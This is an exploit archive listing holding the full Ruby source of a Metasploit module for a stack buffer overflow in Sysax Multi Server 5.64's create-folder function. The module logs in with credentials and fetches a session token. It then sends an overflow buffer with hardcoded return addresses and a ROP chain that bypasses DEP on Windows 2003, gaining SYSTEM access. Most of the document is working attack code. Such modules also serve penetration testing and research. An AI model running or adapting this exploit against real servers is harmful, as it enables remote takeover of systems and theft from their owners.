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Sysax Multi Server 5.64 Create Folder Buffer Overflow

Sysax Multi Server 5.64 Create Folder Buffer Overflow
Posted Aug 20, 2012
Authored by Matt Andreko | Site metasploit.com

This Metasploit module exploits a stack buffer overflow in the create folder function in Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the vulnerability valid credentials with the create folder permission must be provided. The HTTP option must be enabled on Sysax too. This Metasploit module will log into the server, get a SID token, find the root folder, and then proceed to exploit the server. Successful exploits result in SYSTEM access. This exploit works on XP SP3, and Server 2003 SP1-SP2.

tags | exploit, web, overflow, root
MD5 | 17a13fb4ba1bb14aeec150eb94056c58

Sysax Multi Server 5.64 Create Folder Buffer Overflow

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the create folder function in
Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
vulnerability valid credentials with the create folder permission must be provided.
The HTTP option must be enabled on Sysax too.

This module will log into the server, get a SID token, find the root folder, and
then proceed to exploit the server. Successful exploits result in SYSTEM access.
This exploit works on XP SP3, and Server 2003 SP1-SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Craig Freyman', #Original discovery for the overflow
'Matt "hostess" Andreko' #More reliable attack vector
],
'References' =>
[
[ 'OSVDB', '82329' ],
[ 'EDB', '20676' ],
[ 'EDB', '18420' ],
[ 'URL', 'http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html' ],
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x2F\x0d\x0a", # 0d and 0a are only bad, due to the Rex::MIME replacing 0d with 0d0a in the message#to_s
'Space' => '1299',
'DisableNops' => true,
},

'Targets' =>
[
[ 'Windows XP SP3 / Sysax Multi Server 5.64',
{
'Rop' => false,
'Ret' => 0x77c35459, # push esp # ret [msvcrt.dll]
'Offset' => 711,
}
],
[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
{
'Rop' => true,
'Ret' => 0x77baf605, # pop esi; pop ebp; retn 0c; [msvcrt.dll] (pivot)
'Offset' => 711,
'Nop' => 0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
}
],
],
'Privileged' => true,
'DisclosureDate'=> 'Jul 29 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
Opt::RPORT(80),
OptString.new('SysaxUSER', [ true, "Username" ]),
OptString.new('SysaxPASS', [ true, "Password" ])
], self.class)

end

def create_rop_chain()
rop_gadgets = []

# ROP chains provided by Corelan.be
# https://www.corelan.be/index.php/security/corelan-ropdb/#msvcrtdll_8211_v7037903959_Windows_2003_SP1_SP2
if (target == targets[1]) # Windows 2003
rop_gadgets =
[
0x77be3adb, # POP EAX # RETN [msvcrt.dll]
0x77ba1114, # ptr to &VirtualProtect() [IAT msvcrt.dll]
0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN [msvcrt.dll]
0x41414141, # Filler (compensate)
0x77bb0c86, # XCHG EAX,ESI # RETN [msvcrt.dll]
0x77bdb896, # POP EBP # RETN [msvcrt.dll]
0x77be2265, # & push esp # ret [msvcrt.dll]
0x77bdeebf, # POP EAX # RETN [msvcrt.dll]
0x2cfe0668, # put delta into eax (-> put 0x00000201 into ebx)
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77bdfe37, # ADD EBX,EAX # OR EAX,3000000 # RETN [msvcrt.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0x2cfe04a7, # put delta into eax (-> put 0x00000040 into edx)
0x77bdfb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
0x77bb8285, # XCHG EAX,EDX # RETN [msvcrt.dll]
0x77bcc2ee, # POP ECX # RETN [msvcrt.dll]
0x77befbb4, # &Writable location [msvcrt.dll]
0x77bbf75e, # POP EDI # RETN [msvcrt.dll]
0x77bd7d82, # RETN (ROP NOP) [msvcrt.dll]
0x77bdf0da, # POP EAX # RETN [msvcrt.dll]
0x90909090, # nop
0x77be6591, # PUSHAD # ADD AL,0EF # RETN [msvcrt.dll]
].flatten.pack("V*")
end

return rop_gadgets

end

def get_sid

user = datastore['SysaxUSER']
pass = datastore['SysaxPASS']

creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"

# Login to get SID value
r = send_request_cgi({
'method' => "POST",
'uri' => "#{target_uri.to_s}scgi?sid=0&pid=dologin",
'data' => creds
})

# Parse response for SID token
sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
print_status "SID: #{sid.to_s}"

sid.to_s

end

def get_root_path(sid)

# Find the path because it's used to help calculate the offset
random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir

r = send_request_cgi({
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm",
'method' => 'POST',
})

# Example message: invalid path: C:\Documents and Settings\Administrator\Desktop\9dk2hdh2.
# Root Path should be C:\Documents and Settings\Administrator\Desktop (no trailing slash)
root_path = r.body.match(/^invalid path: (.*)\\#{random_folder_name}\.$/)[1]
print_status "Root Dir: #{root_path}"

root_path

end

def exploit

connect

sid = get_sid
root_path = get_root_path(sid)

buffer = rand_text(target['Offset']-root_path.length)
buffer << [target.ret].pack('V')

if (target['Rop'])
buffer << [target['Nop']].pack('V')*16
buffer << create_rop_chain()
end

buffer << make_nops(15)
buffer << payload.encoded

post_data = Rex::MIME::Message.new
post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669"

r = send_request_cgi({
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm",
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})

disconnect

end
end

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